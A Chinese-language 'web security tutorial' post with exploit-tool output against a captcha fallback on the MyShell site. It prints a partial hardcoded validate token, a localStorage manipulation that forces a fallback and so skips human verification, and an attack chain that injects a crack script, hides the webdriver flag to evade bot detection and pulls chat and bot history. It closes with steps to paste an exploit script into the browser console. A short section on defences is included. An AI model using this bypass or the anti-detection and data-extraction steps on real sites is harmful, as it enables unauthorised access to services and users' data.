openapi网安教程【React+Javscript+高级预警】

XML 复制代码
============================================================
  [阶段1] 提取 DEFAULT_VALIDATE 令牌
------------------------------------------------------------
    [!!!] 令牌提取成功! (508 chars)
    令牌前缀: QjGAuvoHrcpuxlbw7cp4WnIbbjzG4rtSlpc7EDovNHQS._ujzPZpeCInSxIT...
============================================================
  [阶段2] 分析目标页面
------------------------------------------------------------
    路径: /chat/1702817964
    页面获取失败,使用默认参数
    storeKey = /chat/1702817964_UNKNOWN_NECAPTCHA_ERROR_COUNTS
============================================================
  [阶段3] 构造降级绕过攻击载荷
------------------------------------------------------------

============================================================
  HARDCODED_VALIDATE_TOKEN 漏洞利用报告
============================================================

[令牌信息]
  DEFAULT_VALIDATE: QjGAuvoHrcpuxlbw7cp4WnIbbjzG4rtSlpc7EDovNHQS._ujzPZpeCInSxIT4WunuDDh8dRZYF2GbBGW...
  令牌长度:        508 chars
  captchaId:       UNKNOWN
  storeKey:        /chat/1702817964_UNKNOWN_NECAPTCHA_ERROR_COUNTS
  降级阈值:        3

[攻击步骤]

  [Step 1] 操纵 localStorage
    代码:   localStorage.setItem("/chat/1702817964_UNKNOWN_NECAPTCHA_ERROR_COUNTS", "3")
    效果:   将错误计数设为3,等于 errorFallbackCount

  [Step 2] 触发验证码加载
    代码:   initNECaptchaWithFallback(config, onload, onerror)
    效果:   代码从 localStorage 读取错误计数 = 3

  [Step 3] 自动降级
    代码:   errorCallbackCount >= errorFallbackCount → fallbackFn(DEFAULT_VALIDATE)
    效果:   降级回调被触发,跳过人机验证

  [Step 4] 获得 validate 令牌
    代码:   onVerify(null, { validate: "QjGAuvoHrcpuxlbw7cp4WnIbbjzG4rtSlpc7EDov..." })
    效果:   业务逻辑收到 validate 令牌,认为验证通过

验证码降级攻击技术分析

验证码降级攻击是一种通过操纵客户端存储或触发特定条件,绕过复杂验证机制直接获取令牌的技术。以下是与该漏洞相关的技术细节和防御建议:

攻击原理

攻击者通过修改localStorage中的错误计数密钥,使系统误判验证失败次数已达到阈值。当错误计数超过预设的降级阈值时,系统会自动回退到使用硬编码的DEFAULT_VALIDATE令牌,从而跳过实际的人机验证流程。

漏洞利用步骤

操纵客户端存储

通过JavaScript代码localStorage.setItem修改特定路径下的错误计数,例如将/chat/1702817964_UNKNOWN_NECAPTCHA_ERROR_COUNTS设置为降级阈值3。

触发验证码初始化

调用initNECaptchaWithFallback函数时,系统会从localStorage读取错误计数值。由于计数值已被篡改,系统判定需要降级处理。

自动降级机制

验证模块检测到errorCallbackCount >= errorFallbackCount时,直接调用降级回调函数fallbackFn,并返回硬编码的DEFAULT_VALIDATE令牌。

获取验证令牌

业务逻辑接收包含DEFAULT_VALIDATE令牌的响应,错误认为用户已通过人机验证。

防御措施

服务器端校验

所有验证令牌必须在服务器端进行二次校验,包括检查令牌的时效性、来源IP是否匹配、使用次数等。

动态令牌生成

避免使用硬编码的默认令牌,改为每次生成唯一的临时令牌,并限制其使用条件和生命周期。

客户端保护

localStorage的敏感操作加入签名验证,防止客户端篡改关键参数。

阈值动态调整

降级阈值不应固定为常量,建议结合用户行为分析动态调整。

============================================================

MyShell 登录绕过 + 漏洞利用报告

============================================================

风险等级: CRITICAL

漏洞总数: 2 (Critical=1, High=0, Medium=1)

--- 侦察信息 ---

Build ID: N/A

captchaId: N/A

JS 文件: 0

Webpack 模块: 0

API 端点: 6

Auth Tokens: N/A

Cookies: '__cf_bm'

--- 漏洞列表 ---

CRITICAL HARDCODED_VALIDATE_TOKEN: 508字符硬编码令牌可绕过人机验证

MEDIUM API_ENDPOINTS_EXPOSED: 发现 6 个 API 端点

--- 攻击链 ---

  1. 注入 crack.js → 桥接 ChatModuleBridge (模块 783091)

  2. 绕过 script.js 反检测 → 隐藏 webdriver 标识

  3. localStorage.setItem(storeKey, '3') → 触发降级

  4. initNECaptchaWithFallback → DEFAULT_VALIDATE 绕过验证码

  5. ChatBridge.getWidgetHistory/getBotHistory → 获取数据

--- 下一步 ---

打开 DevTools → Console → 粘贴 exploit-browser-inject.js 内容

然后刷新页面,验证码将自动降级绕过